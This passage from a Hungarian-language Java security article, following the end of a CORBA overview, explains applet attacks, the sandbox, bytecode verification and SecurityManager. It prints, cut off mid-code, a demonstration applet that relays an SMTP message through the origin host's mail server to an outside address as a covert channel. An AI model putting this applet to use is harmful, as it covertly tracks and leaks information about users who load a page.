állítani az objektumon belül az IDL hivatkozásokat és válaszadó módszereket, s le kell fordítani azokat. Az interfésztár egy Corba hoston található, és egy speciális ORB folyamat (démon) kezeli. Az interfésztár tartalmazza az összes objektum valamennyi IDL leírását, ami az ORB-nek szükséges. Természetesen nem korlátozódik azokra az objektumokra, amelyek ahhoz a hosthoz tartoznak, melyen az ORB fut. Az interfésztár perzisztens objektumokat tárol Az ORB démon egy implementációs tárat is kezel. Ez teszi lehetôvé, hogy az ORB felismerje és aktivizálja az objektumok különféle implementációit. A Corba objektumok maguk nem tudnak folyamatokat futtatni, ezt az ORB teszi meg, tehát szükség esetén neki kell aktivizálnia egy-egy objektumot. Ehhez általában egy szimbólumtábla vagy más adatbázis kívánatos, amely a szükséges információkat tartalmazza. Ha egy Corba objektum elküld egy kérést egy éppen nem futó másik Corba objektumnak,
akkor az ORB az implementációs tár információi alapján aktivizálja a megszólított objektumot, és átadja neki a kérdést. A fejlesztô számára viszont ez a tevékenység láthatatlan file:///E|/docs/Untitled/c14.htm (5 of 6)20040118 3:01:06 A CORBA technológia Forrás: http://www.doksihu Objektumszolgáltatások Az objektumszolgáltatások azok az alapvetô módszerek, melyeket az egyes objektumok arra használnak, hogy más objektumokkal együtt tudjanak mûködni. Az objektumszolgáltatások a következô fôbb csoportokba sorolhatók: · a nevesítô objektumszolgáltatások egy objektumhoz környezetfüggô nevet rendelnek, amely nem függ más szolgáltatástól, viszont emberközeli hivatkozást eredményez; · az eseménykezelést végzô objektumszolgáltatások a különbözô Corba objektumok egymás közötti aszinkron kommunikációjára használhatók; · a perzisztens objektumszolgáltatások azok, amelyek túlélik létrehozójukat; lehetôvé teszik,
hogy egy objektumállapotot bármely idôpillanatban lekérdezhessünk; különösen jól használhatók akkor, ha a hostot újra kell indítani egy rendszerösszeomlás után; · az életciklus objektumszolgáltatások azok a módszerek, melyek objektumok létrehozására, a példányosításra és megszüntetésére szolgálnak; · a konkurens objektumszolgáltatások egy adott objektum elosztott használatát teszik lehetôvé; · az export objektumszolgáltatások objektumok egybepakolására és továbbküldésére adnak módot; · a kapcsolat objektumszolgáltatások egy Corba modell grafikus megrajzolását segítik elô; · a tranzakció objektumszolgáltatások teszik lehetôvé a felhasználók számára, hogy koordinálni tudják az objektumok olvasását és karbantartását; · a biztonsági objektumszolgáltatások szabályozzák, hogy ki melyik objektum melyik módszerét hívhatja meg. Juhász István file:///E|/docs/Untitled/c14.htm (6 of 6)20040118 3:01:06
Biztonságos-e a Jáva Forrás: http://www.doksihu Biztonságos-e a Jáva Tartalomjegyzék: Megbízhatóság és biztonság A támadások fajtái A Jáva biztonsági modellje Nyelvi elemek Köztes kód ellenõrzése A futási környezet biztonsága A rossz hírek Továbbfejlesztések Egy érdekes probléma: rejtett kommunikációs csatornák A Jáva nyelv platformfüggetlenséget ígér, rosszindulatú programok íróinak is tetszhet az "írd meg egyszer, futtasd bárhol" jelmondat. A Jáva könyvtárak szoros kapcsolatban állnak az Internet hálózattal Nagyon könnyû hálózaton kommunikáló programokat írni és a programkák terjesztésének módja is a rosszindulatú programok íróinak kedvez: a Hálón barangolva, böngészve elég egy óvatlan kattintás az egéren és a felhasználó számára alig észrevehetõen - ki az, aki állandóan a böngészõ ablakának alján lévõ állapotsorban megjelenõ üzeneteket figyeli - már jönnek is a programkák,
amelyek a a felhasználó gépén kezdenek majd futni. Megbízhatóság és biztonság Rögtön az elején rá kell mutatnom arra, hogy két különbözõ probléma, fogalom keveredhet. A programok megbízhatósága (reliability), robosztussága (robustness) azt jelenti, hogy a program azt csinálja, amire szánták, futás közben különbözõ bemeneti adatok, események sem zökkentik ki a megkívánt tevékenységébõl. A biztonság (security) viszont azt jelenti, hogy a program futása közben nem disznólkodik, semmi olyan nem csinál, amit a program futtatója nem szeretne. Azért a megbízhatóság és a biztonság nem teljesen független egymástól. A számítógépbetyárok betöréseinek kedvenc trükkje, hogy a gépemen futó valamelyik programot a hálózaton keresztül, kívülrõl rákényszerített, váratlan adatokkal próbálják kizökkenteni normális futásából. Ha a programozási nyelv olyan, hogy a program biztosan lekezeli a váratlan adatokat, nem kezd el
a memóriában kóvályogni, az sokat segíthet. file:///E|/docs/Untitled/security.html (1 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu A támadások fajtái Hálózatba kapcsolt számítógépeket és felhasználóikat a következõ támadások fenyegetik. Helyi információk feltárása (disclosure attack) A támadó hozzájut a rendszerben tárolt fontos, titkos információkhoz, például megtudja a gép nevét, Internet címét, a gép konfigurációját, hálózati kapcsolatait, egyes különösen fontos rendszerállomány, pl. a Unix-okon a /etc/passwd tartalmát Megtudhatja a böngészõt futtató felhasználó nevét, drótposta címét, a állománykönyvtárainak struktúráját, egyes állományok tartalmát. Tárolt információk módosítás (integrity attack) A támadó megváltoztathatja a háttértáron, esetleg a központi tárban tárolt információkat. Ezek lehetnek egyszerû adatok, de például a vírusok végrehajtható
állományokat, programokat módosíthatnak. Ide tartoznak a rendszer által használt tárterületek módosítása, futó programkák vagy folyamatok leállítása, felfüggesztése. Nagy problémát okozhat, ha a programka képes más új programok elindítására: ezt például fel lehet arra is használni, hogy megtámadjanak egy másik számítógépet, így az eredeti támadó számítógépe ismeretlen maradhat. Szolgáltatások használhatlanná tétele (denial of service attack) A támadó program a rendszer erõforrásainak lefoglalásával, leterhelésével megnehezíti vagy lehetetlenné teszi, hogy más felhasználók a rendszer szokásos szolgáltatásait igénybe vegyék. Ilyen például nagy méretû tárterület lefoglalása, sok párhuzamos tevékenység indítása, a CPU számítási kapacitásának eltulajdonítása, a Jáva alapkönyvtárak lezárásával a böngészõ megbénítása. Felhasználók bosszantása (annoyance attack) Ilyen például hangos,
idegesítõ és leállíthatatlan zajok idegesítõ, obszcén képek, animáció lejátszása. Elmondható, hogy az összes támadás elhárításához a Jáva programkáknak a rendszer erõforrásaihoz hozzáférését kell szigorúan szabályozni, korlátozni. A védendõ erõforrásokra példa: állományrendszer, hálózat, központi tár, be-, kiviteli eszközök, egyéb perifériák, felhasználói környezet (environment), rendszerhívások, rendszerkönyvtárak. A Jáva biztonsági modellje Jáva környezetben kétfajta program futhat, alkalmazás (application) és programka (applet). A Jáva biztonsági mechanizmusainak nagy része csak a programkákra vonatkozik, az alkalmazások korlátozások nélkül használhatják a rendszer erõforrásait. A helyi rendszerbe telepített Jáva kódot a file:///E|/docs/Untitled/security.html (2 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu környezet megbizhatónak tekinti, futását nem ellenõrzi. Ez
persze nem jelenti azt, hogy a program tényleg megbízható, csak azt, hogy a felelõsséget a rendszer a program telepítõjére hárítja. A programkák biztonsági modellje 3 szintre bontható. Elõször jönnek a Jáva nyelvnek a programok megbízhatóságát növelõ tulajdonságai. Második lépésként a köztes kódú programokat betöltés közben, futtatás elõtt szigorú ellenõrzésnek vetik alá, hogy a program megfelel-e a virtuális gép által megkövetelt szemantikának. Harmadszorra jönnek a böngészõkben megvalósított virtuális gép és könyvtárak, amelyek a programkáknak szigorúan felügyelt, korlátozott futási környezetet nyújtanak. A harmadik szintet "homokozó" (sandbox) modellként is emlegetik. A böngészõ a programkákat kis gyermekként egy homokozóba helyezi, ahol eljátszogathatnak, õk maguk is védettek a külsõ környezettõl, de nagy zûrt nem okozhatnak. Jelenleg - például a Netscape Navigator-ban implementált homokozó
falai magasak, a programkák nem nyúlhatnak ki belõle A HotJava böngészõ, illetve az igéretek szerint más böngészõk újabb verziói is figyelhetik majd, hogy mikor akar egy programka kinyúlni a homokozóból és esetenkén dönthetnek arról, hogy melyik programkának mit lehet engedélyezni. Lehetnek felnõttebb, megbízhatóbb programkák, amelyek többet is megtehetnek, de maradhatnak olyanok is, akik soha nem lépehetik át a homokozó határait. A biztonsági rendszer ellenõrzésében fontos momentum, hogy a Jáva környezet implementációja forrásban is hozzáférhetõ. Ha egy programozó bele akar tekinteni, - nem kereskedelmi forráslicensz megállapodást kitöltve - ingyen megkaphatja a teljes kódot és megnézheti, hogy vajon az implementáció megfelel-e a biztonsági elveknek. Így néhány, az implementáció hibáiból fakadó biztonsági rést fogtak már meg és javítottak ki lelkes kutatók, programozók. Sajnos ez csak a Sun JDK-jára - fordító
program, virtuális gép, könyvtárak - esetleg a HotJava böngészõre vonatkozik. Sem a Netscape, sem a Microsoft nem közli a böngészõjének forráskódját, így azt sem tudni, hogy a beágyazott virtuális gép implementációjánál mennyire tértek el a Sun kódjától. Nyelvi elemek A Jáva nyelv tervezésénél figyelembe vették, hogy a programok megbízható programozási szerkezeteket alkalmazzanak. A megbízhatóságot támogatja a láthatóság szabályozása, programozó az egyes osztályokra, illetve az osztályok adatváltozóira, módszereire megszabhagytja, hogy az öröklési hierarchiában, illetve a forrásprogramból honnan érhetõk el. A könyvtárak írói számíthatnak arra, hogy amit rejtetten (private) akarnak kezelni, ahhoz más nem férhet hozzá. A final alapszóval deklarált változók értékét az iniciálás után nem lehet megváltoztatni. A final osztályokból nem lehet leszármaztatni, final módszerek esetén a leszármazott osztály nem
takarhatja el, módosíthatja az eredeti módszer mûködését. A nyelv garantálja, hogy minden objektumhivatkozás fordítás alatti és futás közbeni típusa azonos, pontosabban kompatibilis. A tipusátformálás (casting) is csak nagyon korlátozottan, futási idõben ellenõrzötten alkalmazható. A fordítóprogram arra is figyel, hogy értéket még nem kapott lokális file:///E|/docs/Untitled/security.html (3 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu változókat a program ne használhassanak. A Jávából kimaradtak a mutatók mint elemi adatok, ezzel eltûnt az a lehetõség, hogy a mutatók által tartalmazott címet manipulálva - mint a C-ben a mutató aritmetika - szabadon turkálhassunk a tárban. A dinamikus tárkezelés, szemétgyûjtés miatt a létrehozott objektumokat nem kell, de nem is lehet explicit módon felszabadítani, a programozónak nincs lehetõség, hogy az objektumok allokációját befolyásolja. A kivételkezelés
konzekvens használata megkönnyíti a programok hibakezelését. Ezzel együtt jár az is, hogy minden a végrehajtás során elõforduló hiba valamilyen kivételt generál, amelyhez legkésõbb a virtuális gép szintjén van lekezelõ kódrészlet, hibát okozó program - hacsak a programozó nem így akarta - nem futhat tovább. Tömbök kezelésénél futás közben mindig ellenõrzésre kerül, hogy az index nem mutat-e túl a tömb határain. Nem lehet átverni egy könyvtári módszert úgy, hogy kisebb tömböt adunk át neki, abban reménykedve, hogy a tömbön túlnyúlva érdekes tárterületeket ír majd felül. Hasonló hibák kiküszöbölésére szolgálhat az, hogy a Jáva szövegei önálló String típusú objektumok, amelyekbõl szintén nem lehet véletlenül kinyúlni. Köztes kód ellenõrzése A Jáva programkáknak a köztes kódra lefordított formáját és nem a forrását töltjük le. Biztonsági szempontból ez komoly problémát vet fel: nem lehetünk
biztosak abban, hogy vajon a kódot egy korrekt fordítóprogram állította-e elõ, vagy tréfás kedvû számítógépbetyárok nem módosították-e kézzel. Ezért aztán a Jáva virtuális gép a futtatás elõtt ellenõrzi, hogy a kód megfelel-e bizonyos szemantikai tulajdonságoknak. Megjegyzendõ, hogy - a jelenlegi implementációkban - csak a hálózaton letöltött kód kerül ellenõrzésre, a helyi állományrendszerbõl betöltött program, illetve a könyvtárak kódjában megbízunk. Ez nyilvánvalóan gyorsítja a programjaink futását, de a máshonnan átvett könyvtárakkal óvatosan kell bánnunk. A gyanakvóaknak ajánlom a JDK-ból a javap -verify Library parancsot, ez a Library nevû osztályra (a Library.class állományra) lefuttatja a kód ellenõrzõt Az ellenõrzés lépései: 1. Osztályállomány szintaktikus ellenõrzése: az ellenõrzõ meggyõzõdik arról, hogy köztes kódot tartalmazó osztályállomány (.class) formátuma megfelel az
elvárásoknak Az osztályállomány minden részének a meghatározott számú byte-ot kell tartalmaznia, az egyes elemek szintaxisa is kötött. file:///E|/docs/Untitled/security.html (4 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu 2. Osztályállomány összefüggéseinek ellenõrzése Ebben a lépésbe történnek az olyan ellenõrzések, amelyeket a kód utasításainak értelmezése nélkül meg lehet tenni. Például final osztályokból nincs leszármaztatás, final módszereket nem definiáltak felül, minden osztálynak van szülõje, a módszerek definíciójánál a lenyomatuk "jól néz ki", lehetséges osztálynevekre hivatkozik. 3. Az utasításfolyam ellenõrzése Az ellenõrzõ adatfolyam elemzéssel végignézi az összes utasítást, figyelve arra, hogy: ❍ az elágazó utasítások mindig megfelelõ pontra, utasítások elejére vezetnek; ❍ minden utasítás a megfelelõ számú és típusú paraméterrel rendelkezik a
vermen és a lokális változókban. ❍ ha az utasítást több ágon el lehet érni, minden esetben a virtuális gép verme és lokális változói azonos állapotban vannak; ❍ az utasítások csak megfelelõ típusú és értékel rendelkezõ lokális változókra hivatkoznak; ❍ az adatkomponensekbe megfelelõ típusú értékek kerülnek; ❍ az egyes módszereket a lenyomatuknak megfelelõ számú és típusú paraméterekkel hívják meg. Megjegyzendõ, hogy az utasításfolyam ellenõrzését alaposan megnehezíti a kivételkezelés illetve a lezáró blokk (finally) használata. 4. Külsõ hivatkozások ellenõrzése Ez a lépés logikailag a köztes kód ellenõrzéséhez tartozik, azonban hatékonysági megfontolásból átkerült a kód futásának idejére. Az ellenõrzés harmadik lépése csak akkor tölt be más osztályokat is, ha elengedhetetlenül szükséges. Másik osztályra hivatkozó utasítás végrehajtásakor a virtuális gép szükség esetén betölti az
osztályt leíró állományt, természetesen a hálózatról betöltéskor elvégzi a kód ellenõrzését is. Ezután ellenõrzi, hogy a hivatkozás létezõ összetevõt nevez-e meg és nem sérti-e a láthatóságot, adatkomponenseknél a megfelelõ típusú értékre hivatkozunk, módszereknél a hívás és a definíció lenyomata megegyezik-e. Amennyiben az ellenõrzés helyes eredményre vezet, a mûveleti kódot lecserélik egy hasonló jelentésû, de csak belsõleg használt kódra, amelynek következõ végrehajtása során már nem kell ezeket az ellenõrzéseket elvégezni. A futási környezet biztonsága A védelem harmadik bástyájaként azt kell biztosítanunk, hogy a kód ne viselkedjen neveletlenül, ne férjen hozzá olyan rendszer erõforrásokhoz, amelyeket nem szabad használnia. Mivel a köztes kód utasításai között nem szerepelnek olyanok, amelyek valamilyen rendszererõforrást - például állományokat, hálózatot, központi tárat, perifériákat -
közvetlenül kezelnék, a védelem a rendszerkönyvtárakon keresztül valósulhat meg. A könyvtárak biztonsága elõtt még van egy védelmi lépés: meg kell akadályozni, hogy egy rosszindulatú file:///E|/docs/Untitled/security.html (5 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu programka a rendszerkönyvtárakat kikerülve, saját könyvtárakat használjon. Ezt a védelemi feladatot látja el az osztálybetöltõ (ClassLoader). Az osztálybetöltõ egyik fontos feladata, hogy a betöltött osztályt egy elkülönített név tartományba (name space) helyezze el, így a kölönbözõ helyekrõl betöltött osztályok még ha azonos elnevezéseket is használnak, azok különbözõ osztályokat, objektumokat jelentenek. A programka betöltõ úgy mûködik, hogy egy új osztályra hivatkozásánál azt elöször mindig a helyi könyvtárak közül próbálja betölteni, a hálózathoz csak akkor fordul, ha a keresett osztály helyben nem
található. Így aztán egy programka nem tudja például a javaio könyvtár helyett ennek saját, megberhelt változatát a hálózaton keresztül becsempészni. A könyvtárak biztonsága egy központi hivatalra, az ún. biztonsági menedzserre (SecurityManager) tartozik. A virtuális gép aktuális állapotához tartozik, hogy vajon használ-e ilyen menedzsert A System.getSecurityManager() statikus módszer vagy null-t, vagy egy SecurityManager típusú objektumot ad vissza. Természetesen a SystemsetSecurityManager() segitségével csak akkor lehet ilyet beállítani, ha eddig null volt. A biztonsági menedzser tartalmaz olyan checkXXX nevû hívásokat, amelyekkel az egyes könyvtárak írója megvizsgálhatja, hogy bizonyos mûveltek elvégezhetõk-e. Az ilyen ellenõrzésre szoruló mûveleteknél a következõ kódmintát kell alkalmazni: SecurityManager security = System.getSecurityManager(); if (security != null) { security.checkXXX(arguments); } Amennyiben a kód kijön a
feltételes blokkból, a kívánt mûvelet végrehajtható. Ha az ellenõrzés hamis, a checkXXX módszer SecurityException kivételt generál. A rendszerben alapként meglévõ SecurityManager osztály minden checkXXX hívásra kivételt generál, a böngészõ implementálásánál kell olyan leszármazott osztályt definiálni, amely az egyes módszerek felüldefiniálásával megvalósítja megkivánt védelmet. A SecurityManager tartalmaz néhány protected módszert is, amely egy ilyen leszármazott osztály megírásánál jól jöhet. Ilyen például annak ellenõrzése, hogy vajon jelenleg éppen ellenõrzés folyik-e, vagy módszerek a hívási vermen turkáláshoz. A böngészõkben használt biztonsági menedzser implementáció általában a protected ClassLoader currentClassLoader(); hívás segítségével a hívási láncban megkeresi azt az osztálybetöltõt, amelyik által behozott osztály példánya indította a hívási láncot, amelynek a végén az ellenörzõ
eljárás áll. Az így visszakapott osztálybetöltõt figyelembe véve dönthet a hozzáférés engedélyezésérõl. file:///E|/docs/Untitled/security.html (6 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu Az módszerek részletes ismertetése helyett nézzük meg erõforrás kategóriánként, hogy a biztonsági menedzser segítségével milyen erõforrásokat, mûveleteket lehet védeni. Erõforrásonként: Az állományrendszer használatakor állományonként lehet ellenõrizni az olvasás, írás illetve törlés jogosságát. A Jáva a könyvtárakat az állományokkal azonosként kezeli, azaz például akkor lehet új állományt létrehozni, ha a könyvtárában az írás engedélyezett. A Netscape böngészõ alatt futó programkák semmilyen állományrendszerbeli mûveletet nem hajthatnak végre. Megjegyzendõ, hogy a Sun HotJava böngészõjében a felhasználó konfigurálhatja, hogy melyik állományokhoz, könytárakhoz lehessen
hozzáférni. Viszont ez mindig a helyi konfigurációtól függ, ezért a programkák írói - kivéve egy intézményen belül, egységes menedzsment alatt álló böngészõk esetén - semmire nem számíthatnak biztosan. Jáva programok a különbözõ System.getProperty(String key) hívásokkal rendszerparaméterek értékeihez. A hozzáférés jogosságát általában is, paraméterenként is lehet szabályozni. Egy programka a Jáva implementációval kapcsolatos paraméterekhez hozzáférhet, a felhasználóval kapcsolatosokhoz nem. A biztonsági menedzser segítségével szabályozni lehet, hogy melyik hálózati géppel és ottani kapuval (port) lehet kapcsolatot felvenni (connect). Figyelni lehet arra, hogy egy TCP kapcsolat - socket a Jáva terminológiában - kialakításához melyik helyi kapukat használhassuk (listen), illetve melyik hálózati címû géptõl és kapuról érkezõ kapcsolatkiépítési kérelmet (accept) fogadjuk el. Az ellenõrzés természetesen
nem csak a TCP kapcsolatokra szolgál, hanem az UDP datagrammokat is figyeli. A javanet könyvtár datagramm socket létrehozását a helyi kapuk használata, datagrammok küldését és vételét a kapcsolatfelvétel szerint ellenõrzi. A böngészõkben egy programka csak azzal a számítógéppel - ott viszont bármelyik kapuval kommunikálhat, ahonnan a kódja letöltõdött (getCodeBase().getHost()) A biztonsági menedzser ellenõrizheti, hogy egy szálnak joga van-e a másik szál állapotát befolyásolni. Figyeli azt is, hogy végrehajthat-e exit() hívást, egy programka például soha! Egy Jáva program a getRuntime().exec() hívások valamelyikével a helyi rendszerben elindíthat egy programot, programkáknak ez is tilos. Ablakozó rendszer használatánál egy programka megnyithat ugyan új ablakot, de azt a böngészõ "Unsigned Java Applet Window" felirattal megjelöli. Bár ezt sokan nem szeretik, de érdemes a feliratra figyelni, rosszindulatú
programkák megkisérelték már ilyen ablakban bekérni a felhasználó nevét és jelszavát. Ha valaki elég óvatlan volt, a programka az így megszerzett jelszavát elküldhette a kiindulási szerverére. file:///E|/docs/Untitled/security.html (7 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu A Jáva többszintû biztonsági modellje kielégítõ védelmet biztosíthat a helyi információk kiszivárgása, illetve módosítása ellen. A kód ismeretében számos programozó árgus szemekkel figyeli az implementációt. A mai napig felszínre került biztonsági problémák a biztonsági elvek hibás implementációjából származtak. A böngészõ gyártók komolyan vették az így feltárt hibákat és az újabb verzióikban ezeket rendre kijavították. A rossz hírek A Jáva biztonságával foglalkozó néhány szerzõ nem osztja teljes mértékben a Sun fejlesztõinek optimizmusát. Megemlítenék a Jáva környezetben meglévõ néhány
potenciális biztonsági problémát Implementációs problémák A legfontosabb probléma, hogy hiába jók elvben a biztonsági eljárások (security mechanism), ha ezeket nem implementálják helyesen. A biztonsági rendszer egyik fontos eleme, a biztonsági menedzser implementációja a különbözõ böngészõkben más és más, ráadásul a kód sem publikus, így nehéz a helyességét ellenõrizni. Azt is tisztázni kellene, hogy ezeket az eljárásokat milyen biztonsági irányelvek (security policy) megvalósítására és hogyan használják. Sajnos jelenleg sehol nem specifikálták pontosan sem formális, sem informális eszközökkel, hogy milyen irányelveket kell a böngészõnek megvalósítani, csak általános elképzelések léteznek. Az implememtációs hibák utólagos javításának van egy kereskedelemmel kapcsolatos problémája is. Hiába jön ki egy cég az aktuálisan felfedezett hibát kijavító új verzióval, ezt el kell terjesztenie a felhasználók
között. A terjesztéshez ugyan elvileg rendelkezésre áll maga az Internet hálózat, ám a felhasználók nagy többsége lassú telefonvonalon kapcsolódik a hálózatba és nem engedheti meg magának, hogy például a most ismert böngészõk 3-8 MByte-nyi programját letöltse, arról nem is beszélve, hogy egy-egy új verzió megjelenésekor a cégek szerverei sem bírják a hihetetlen méretû felhasználói igényt kiszolgálni. A felhasználó így aztán inkább egy boltban veszi meg a programot, például CD-ROM-on. Ezeket a CD-ket viszont terjeszteni kell, a régieket a bolthálózatokból visszavonni, ami a cégeknek sok pénzbe kerül, fõleg, mert ezt nehezen háríthatják át a felhasználókra, hiszen hibajavításról van szó. Ha elterjednek a digitális aláírással ellátott programkák (ld. lentebb), talán a cégek rájönnek arra, hogy például a SecurityManager Jávában megírt kódját - és csak ezt, nem az egész böngészõt - is elegendõ letölteni
a hálózaton. A nyelv A Jáva nyelv néhány sajátossága megnehezíti a biztonsági rendszer implementációját. Talán legfontosabb, hogy a nyelv szemantikájának nincs semmilyen formális definíciója, így a programok korrekt mûködését nem lehet matematikai módszerekkel bizonyítani. Az osztályok komponenseinek láthatóságának szabályozása elég durva mechanizmus, ha például egy adatkomponens "látható", akkor ahhoz teljes hozzáférés biztosított, a program nem csak file:///E|/docs/Untitled/security.html (8 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu olvashatja, de írhatja is. Finomabb szabályozással javítani lehetne a véletlenül rossz láthatósággal definiált változók okozta biztonsági problémákon. Igazi egymásbaágyazott modulszerkezettel - a jelenleg pakkoknak csak a neve hierarchikus -, is jobban lehetne a hozzáféréseket korlátozni. Bonyolult, a programozók által nehezen áttekinthetõ
tulajdonsága a nyelvnek, hogy a konstruktor törzsébõl meghívhatunk akkor is módszereket, ha az objektum adatkomponensei még nincsenek teljes egészében iniciálva. Ez ravasz mellékhatásokhoz vezethet A köztes kód nagyon közel áll a gépi kódhoz, egy lineáris utasítássorozat, ami nagyon megnehezíti a kód ellenõrzését. Sokkal egyszerûbb, megbízhatóbb lenne a szintaktikus ellenõrzésnél elõálló levezetési fát tükrözõ kódot ellenõrizni, mint ahogy azt a fordítóprogramok teszik. Az összes lehetséges lefutást figyelembe vevõ adatfolyam analízis bonyolult, az ellenörzõ program korrektségérõl nem lehet meggyõzõdni. A biztonsági menedzser A biztonsági menedzser legfontosabb potenciális problémája, hogy a könyvtárak írói elfelejthetik használni. Ha kifelejtünk egy ilyen ellenõrzõ hívást, a könyvtár használói szándékunk ellenére is hozzáférhetnek védett erõforrásokhoz. Az egyetlen osztályban összpontosított
biztonsági védelem jelentõs fejlõdés a korábbi implementációkhoz képest, ahol a biztonsági rendszer szétszórtan szerepelt a kódban. Viszont még így is elégé esetlegesnek érzem az egyes eljárásokat. Már most is hiányoznak bizonyos eljárások például az audió rendszerhez hozzáférések ellenõrzéséhez, a hálózati forgalmat is jobban kellene szabályozni, a grafikus felület védelmére is kevésnek tûnik egyetlen módszer. Amennyiben a futtatórendszer által menedzselt erõforrások bõvülnek, a SecurityManager-t is bõvíteni kell. Erõforrások túlterhelése A jelenlegi biztonsági rendszer semmilyen védelmet nem nyújt az erõforrások túlterhelése illetve a felhasználók bosszantása ellen. Mind JavaSoft, mind a fontosabb böngészõk fejlesztõinek nyilatkozata alapján várhatjuk, hogy az új böngészõ verziók a felhasználóknak több információt nyújtanak majd arról, hogy milyen programkák és mit csinálnak éppen a
rendszerben, lehetõvé téve a gyanús esetekben a beavatkozást. A böngészõ felhasználója esetleg korlátozhatja a programkák számára rendelkezésre álló tárat, CPU idõszeletet. Naplózás hiánya Jelenleg a Jáva rendszer semmilyen támogatást nem ad arra, hogy a futó programkák aktivitását naplózzuk (auditing, activity log). Így aztán a biztonsági rendszer bekövetkezett megsértéseit utólag nem lehet analizálni és visszakövetni a felelõshöz. Persze a naplózandó eseményeket, a naplózott információk mennyiségét konfigurálni kellene. Továbbfejlesztések file:///E|/docs/Untitled/security.html (9 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu A biztonsági rendszer sok fejlesztõ szerint túlzottan korlátozza a programkák mozgásterét. Ez, ha igaz is, de nehéz rajta segíteni, a programkák jelenleg megbízhatatlanok, nem szabad feléjük engedményeket tenni. Viszont a biztonsági menedzser elég flexibilis
ahhoz, hogy megbízható programkák számára több jogosultságot biztosítson. Felmerül hát a kérdés, hogyan különböztessük meg a megbízható és megbízhatatlan programkákat. Belsõ számítógéphálózatok esetén megfelelõ megközelítés lehet a programka forrás-szerverének figyelembe vétele. Amennyiben ez egy általunk megbízhatónak itélt szerver, például a vállalat szigorúan menedzselt központi szervere, akkor az onnan érkezõ összes programkában megbízunk. Megbízhatóbb megoldást nyújt a kriptográfiából ismert digitális aláírás módszere. A programka készítõje "aláírhatja" a programkáját, a felhasználó ennek alapján egyrészt arról gyõzõdhet meg, hogy kitõl származik a kód, másrészt abban is biztos lehet, hogy a kódot senki nem módosította. Ezután a biztonsági menedzsert lehet például a program szerzõje - illetve annak cége - alapján konfigurálni. A digitális aláírások használatát a JDK 1.1-es
verziójára igérték, a böngészõ készítõk még nem hozták nyilvánosságra, hogy az aláírásokat figyelembe véve hogyan lehet majd a böngészõt konfigurálni. Figyelem: a digitális aláírást használva csak annyit tudunk, hogy a programka kitõl származik, de a megbízhatóságát ez nem garantálja, a kód szándékosan vagy véletlenül tartalmazhat a rendszerünk biztonságát sértõ utasításokat. A futó programka megbízható azonosítása még csak az elsõ lépés, nagyon fontos az is, hogy a böngészõk milyen könnyen, rugalmasan engedik meg a biztonsági menedzsert konfigurálni. Rossz megoldás, ha néhány merev lehetõségek közül lehet csak választani, de ugyanakkor nem feltétlenül bízható minden felhasználóra a rendszer részletes konfigurálása. A felhasználóknak az is idegesítõ lehet, ha egy programka futása során túl gyakran kell valamilyen erõforrás használatot megerõsítenie. Egy érdekes probléma: rejtett kommunikációs
csatornák A programkákra kényszerített biztonsági korlátok egyik legfontosabbika, hogy a hálózaton keresztül csak azzal a géppel kommunikálhatnak, ahonnan letöltöttük. Így arra gondolhatnánk, hogy ha valaki netalán információkat lop a gépünkrõl, utólag rájöhetünk, hogy ki volt, vagy legalább arra, hogy melyik géprõl indult a támadás. Ez sajnos nincs így, bizonyos hálózati protokollokat kihasználva a programka "rejtett" csatornán kommunikálhat egy harmadik számítógéppel is. Legegyszerûbb a levelezési protokollt (Simple Mail Transfer Protocol, SMTP) kihasználni. A programka származási gépén futó sendmail programon keresztül bárhova küldhetünk elektronikus levelet. Ugyanis a sendmail továbbítja a címzett felé azokat a leveleket, amelyeket vesz, de nem a saját gépén levõ felhasználóknak szólnak. file:///E|/docs/Untitled/security.html (10 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu
Például a következõ programka levelet küld arról, ha valaki letöltötte az azt tartalmazó HTML lapot akkor is, ha nem a mi szerverünkrõl töltötte le. A beérkezett levelet kisérõ fejlécbõl ki lehet találni, ki és hol használja a programkánkat. Ezzel például illegálisan terjesztett programkák felhasználását lehet követni. A programkát Mark D LaDue (mladue@mathgatechedu) írta /* PenPal.java by Mark D LaDue */ import java.applet*; import java.io*; import java.net*; public class PenPal extends java.appletApplet implements Runnable { public static Socket socker; public static DataInputStream inner; public static PrintStream outer; public static int mailPort = 25 ; public static String mailFrom = "my.hostileapplet"; public static String toMe = "mladue@math.gatechedu"; public static String starter = new String(); Thread controller = null; public void init() { try { socker = new Socket(getDocumentBase().getHost(), mailPort); inner = new
DataInputStream(socker.getInputStream()); outer = new PrintStream(socker.getOutputStream()); } catch (IOException ioe) {} } public void start() { if (controller == null) { controller = new Thread(this); controller.setPriority(ThreadMAX PRIORITY); controller.start(); } } file:///E|/docs/Untitled/security.html (11 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu public void stop() { if (controller != null) { controller.stop(); controller = null; } } public void run() { try { starter = inner.readLine(); } catch (IOException ioe) {} mailMe("HELO" + mailFrom); mailMe("MAIL FROM: " + "penpal@" + mailFrom); mailMe("RCPT TO: " + toMe); mailMe("DATA"); mailMe("Hey, it worked!" + " ." + " "); mailMe("QUIT"); try { socker.close();} catch (IOException ioe) {} } public void mailMe(String toSend) { String response = new String(); try { outer.println(toSend); outer.flush(); response =
